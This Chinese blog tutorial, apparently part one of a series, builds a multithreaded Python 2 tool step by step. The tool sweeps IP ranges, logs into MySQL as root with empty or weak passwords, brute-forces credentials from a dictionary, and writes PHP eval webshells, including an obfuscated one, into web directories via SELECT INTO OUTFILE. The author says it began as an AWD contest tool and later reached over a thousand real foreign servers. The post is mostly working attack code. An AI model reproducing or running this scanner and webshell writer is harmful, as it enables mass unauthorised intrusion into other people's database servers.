高效python脚本，6小时获取上千台mysql数据库服务器(上)

原创： blus 合天智汇

01

前言

一开始，我只是想把一个AWD下的批量写马工具升级改造一下，记录一下期间的心得体会，本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后，一测试扫描外国网段，半天时间竟然就成功连接了上千台数据库服务器。

02

起因

这个脚本最开始的构思是在AWD比赛的情景下，因为所有服务器的环境都相同，只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患，于是就写了这个Mysql批量连接写小马的脚本，以下是最原始的脚本（python2）。

原始脚本-1：

#!/usr/bin/envpython

#coding=utf-8

#author:Blus

importMySQLdb

defmysql_connect1(ip,shell_url):

#尝试数据库连接

try:

conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

cur=conn.cursor()

#若数据库连接成功，开始写马

try:

sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url)

#printsql_insert;

cur.execute(sql_insert)

print"写入成功".decode()

exceptException as e:

print"写入错误"

printe;

return

cur.close()

conn.close()

exceptMySQLdb.Error,e:

print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])

return

if__name__ == "__main__":

fp_ip=open('ip.txt')

shell_url= 'D:/1.PHP'

forip in fp_ip.readlines():

fp4=ip.replace('\r',"").replace('\n',"")

#url=str(fp5)

printfp4

mysql_connect1(ip,shell_url)

print'检测结束'

需要安装mysqldb，可自行参考网上教程。本人windwos环境直接在

https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一，之后会再探讨。

03

计划

这个python脚本来是为AWD比赛准备的，但后来一直没用上，最后一直躺在“武器库”里生锈。想着既然有些过时了，就让它重新发亮。（为了方便互相学习，之后的代码中会加入大量的注释）

计划对其做以下改进：

1. 加快其速度，支持大批量扫描

2. 增加自动爆破密码的功能

3. 增加日志记录功能

4. 代码规范简洁

04

引入多线程

升级第一步，那就是加快它的速度，单线程太慢了尝试多线程，同时将读取ip.txt文件改为读取IP网段，能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。

主要更改了这几处：

以下是这次修改后的完整的代码-2：

#!/usr/bin/envpython

#coding=utf-8

#author:Blus

importMySQLdb

importthreading

importtime

importIPy

defmysql_connect1(ip,shell_url,shell_content):

#尝试数据库连接

try:

conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)

cur=conn.cursor()

#若数据库连接成功，开始写马

try:

sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url)

printsql_insert;

cur.execute(sql_insert)

print"写入成功".decode()

exceptException as e:

print"写入错误"

printe;

return

cur.close()

conn.close()

exceptMySQLdb.Error,e:

print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])

return

if__name__ == "__main__":

#内容设置

shell_url='../../../../wamp64/www/erg2313231.php';

shell_content='<?php@eval($_POST[cmd]); ?>'

#设置同时运行的线程数

threads=25

#要检测的IP网段

ip1= IPy.IP('192.168.0.0/16')

forip in ip1:

ip=str(ip)

while(threading.activeCount()>threads):

time.sleep(1)

threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()

print'检测结束'

05

改善速度，增加ping函数

但直接连接mysql端口速度特别慢，如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率，不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活，或者端口是否开放，再进行连接。在此，我选择了提前检测主机是否存活。（如果要选择提现检验端口是否开放，注意选择SYN快速扫描，普通的TCP连接端口扫描速度也不快。）

增加一个ping_ip函数，可参考

http://blog.51cto.com/happylab/1742282

加上判断语句。若主机不存活，则退出

改好后再测试发现时间缩短一半。

以下是这次的完整代码-3：

#!/usr/bin/envpython

#coding=utf-8

#author:Blus

importMySQLdb

importthreading

importIPy

import time

importsubprocess

defmysql_connect1(ip,shell_url,shell_content):

ifnot(ping_ip(ip)):

#printip,"down"

return

#尝试数据库连接

try:

conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

cur=conn.cursor()

#若数据库连接成功，开始写马

try:

#如果有重名数据库则删除该数据库

cur.execute('DROPdatabase IF EXISTS `A123456`;')

cur.execute('createdatabase A123456;')

except:

printip,"数据库创建错误"

return

cur.execute('useA123456;')

try:

cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );')

printip,"表创建成功"

except:

printip,"表创建失败"

return

try:

shell_content2="INSERTINTOB123456(C123456)VALUES ('{}');".format(shell_content)

cur.execute(shell_content2)

printip,"一句话插入成功"

except:

printip,"一句话插入失败"

return

#这里设置小马导出后的路径，该目录需要有写权限且mysql没有开启secure-file-priv

try:

sql_insert="SELECTC123456 from B123456 into outfile '{}';".format(shell_url)

cur.execute(sql_insert)

printip,"写入成功".decode()

exceptException as e:

printip,"写入错误",e

return

cur.close()

conn.close()

return

exceptMySQLdb.Error,e:

print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])

return

defping_ip(ip):

#调用ping命令,如果不通，则会返回100%丢包的信息。通过匹配是否有100%关键字，判断主机是否存活

cmd= 'ping -w 1 %s' % ip

p= subprocess.Popen(cmd,

stdin=subprocess.PIPE,

stdout=subprocess.PIPE,

stderr=subprocess.PIPE,

shell=True)

result= p.stdout.read()

regex= result.find('100%')

#未匹配到就是-1

#未匹配到就是存活主机

if(regex == -1):

return1

else:

return0

if__name__ == "__main__":

start= time.time()

#内容设置

shell_url='../../../../wamp64/www/erg2313231.php';

shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>'

#设置同时运行的线程数

threads=25

#要检测的IP网段

ip1= IPy.IP('192.168.0.0/24')

forip in ip1:

ip=str(ip)

while(threading.activeCount()>threads):

time.sleep(1)

t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content))

t1.start()

#当线程只剩1时，说明执行完了

while(threading.activeCount()!=1):

time.sleep(1)

print"检测结束"

end= time.time()

printend - start

06

日志记录

接下来就是日志记录功能，记录哪些ip在线，哪些开放了3306端口，哪些已经连接成功。同时删除了小马写入的代码，因为在批量扫描，大部分服务器都是站库分离的情况下，该功能没什么用。

更改了以下几处：

简单的日志记录函数：

记录日志的几种情况：

区分不同的报错信息：

以下是此次的完整代码-4：

#!/usr/bin/envpython

#coding=utf-8

#author:Blus

importMySQLdb

importthreading

importtime

importIPy

importsubprocess

defmysql_connect1(ip):

ifnot(ping_ip(ip)):

#printip,"down"

return

else:

#记录在线的ip

ip_log("ip_up.txt",ip,"")

#尝试数据库连接

try:

conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

cur=conn.cursor()

#记录开放3306端口的ip

ip_log("port_connected.txt",ip,"")

exceptMySQLdb.Error,e:

e= str(e)

#记录报错信息

printe

r1= e.find('Can\'t connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060)

r2= e.find('Access denied') # 端口开放但密码错误 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES)

r3= e.find('not allowed') #端口只允许特定ip连接 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver

#r3= e.find('Learn SQL!') #这限制特定了sql语句

if(r1 != -1):

#排除端口不开放的情况

return

elif(r2!= -1):

#ip_log('port_opend.txt',ip,"密码错误")

ip_log('port_opend.txt',ip,e)

elif(r3!= -1):

#ip_log('port_opend.txt',ip , "不允许该IP连接")

ip_log('port_opend.txt',ip , e)

else:

#ip_log('port_opend.txt',ip, "其他错误")

ip_log('port_opend.txt',ip, e)

return

defping_ip(ip):

#调用ping命令,如果不通，则会返回100%丢包的信息。通过匹配是否有100%关键字，判断主机是否存活

cmd= 'ping -w 1 %s' % ip

p= subprocess.Popen(cmd,

stdin=subprocess.PIPE,

stdout=subprocess.PIPE,

stderr=subprocess.PIPE,

shell=True)

result= p.stdout.read()

regex= result.find('100%')

#未匹配到就是-1，就是存活主机

if(regex == -1):

return1

else:

return0

def ip_log(txt_name,ip,content):

f1= open(txt_name, 'a')

f1.write(ip+ " " + content + "\r\n")

f1.close()

if__name__ == "__main__":

start= time.time()

#设置同时运行的线程数

threads=150

#要检测的IP网段

ip1= IPy.IP('192.168.0.0/16')

forip in ip1:

ip=str(ip)

printip

while(threading.activeCount()>threads):

time.sleep(1)

t1=threading.Thread(target=mysql_connect1,args=(ip,))

t1.start()

#当线程只剩1时，说明执行完了

while(threading.activeCount()!=1):

time.sleep(5)

print"检测结束"

这里代码已经开始杂乱了，暂且放着。改完后测试扫描了米国某网段一个小时，发现现在竟然还有空密码连接的洞，可能是网段选得好吧，有大量的在线服务器。

开放端口的日志：

成功连接的日志：

07

字典爆破

当然，一个空密码连接不可能满足我们，再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环，循环读取txt中的每行密码进行尝试。

注意：在读取txt字典里每行的内容时记得去掉”\r”和“\n”这代表回车的符号，不然爆破密码时就带上了它们。

在过程中发现MySQLdb.connect的一个问题：

理论上当运行该函数长时间未连接端口时会抛出错误，但在实际过程中，有时候不会抛出错误，程序一直阻塞。去查阅了mysqldb的文档，发现有个连接超时（connect_timeou）的参数选项(如下图)，当连接超时时会抛弃该连接。但一测试马上发现这个参数形同虚设，根本没用！

无奈，只能手动给函数加上时间限制，考虑了以下两个方法。

方法一：使用signal.SIGALRM信号量，但SIGALRM只能在linux系统下使用

可参考：

https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python

方法二：使用多线程中的join()的超时参数，比如join（3）就是限制了子线程运行的时间为3秒。

在此我采用方法二：

但同时需要注意的是try...except是无法捕捉线程中的报错的，因为线程有独立的栈，线程产生的异常发生在不同的栈上，因此无法捕捉到线程的异常。即捕捉不到3306端口连接错误，就无法根据报错信息来分析端口的连接情况。但如果在线程内部使用try..except来捕捉报错的话，线程自身又不返回值，无法告诉主函数端口的连接情况，也就无法确定是否要进行密码爆破，或者什么时候密码爆破成功，这时候又该怎么办呢？

查阅网上的资料，发现有利用类的变量来传递线程内的消息，也有使用Queue库创建队列实例来传递数据的。但总觉得有些“臃肿”，不太满意。思考着突然豁然开朗，可以在线程运行的函数内部判断端口的连接情况，然后用threading.Event()的标志设置与否，来传递结果，让主函数知道接下来该如何运行。设置了标志说明要进行下一步操作，未设置标志则return退出当前操作。

关于threading.Event()的基础知识可参考：

https://blog.csdn.net/u012067766/article/details/79734630

修改后的主函数：

这里就不放上完整的代码了，因为紧接着马上又改进了效率。

请关注下篇！